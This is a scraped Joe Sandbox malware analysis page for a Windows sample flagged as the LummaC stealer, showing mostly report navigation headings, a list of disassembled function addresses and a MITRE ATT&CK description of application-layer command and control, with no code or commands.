Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Possible Origin

Network Behavior

Snort IDS Alerts

Network Port Distribution

Windows Analysis Report
file.exe

Function 00B71CAA Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 219
COMMON

Function 00B44B30 Relevance: 6.7, Strings: 5, Instructions: 474
COMMON

Function 00B679F5 Relevance: 4.0, APIs: 1, Strings: 1, Instructions: 469
COMMON

Function 00B67059 Relevance: 3.7, APIs: 2, Instructions: 742
COMMON

Function 00B5E0C0 Relevance: 14.2, APIs: 2, Strings: 6, Instructions: 192
COMMON

Function 00B5EAD0 Relevance: 12.4, APIs: 2, Strings: 5, Instructions: 156
COMMON

Function 00B55BC0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 168
COMMON

Function 00B491D0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 36
COMMON

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre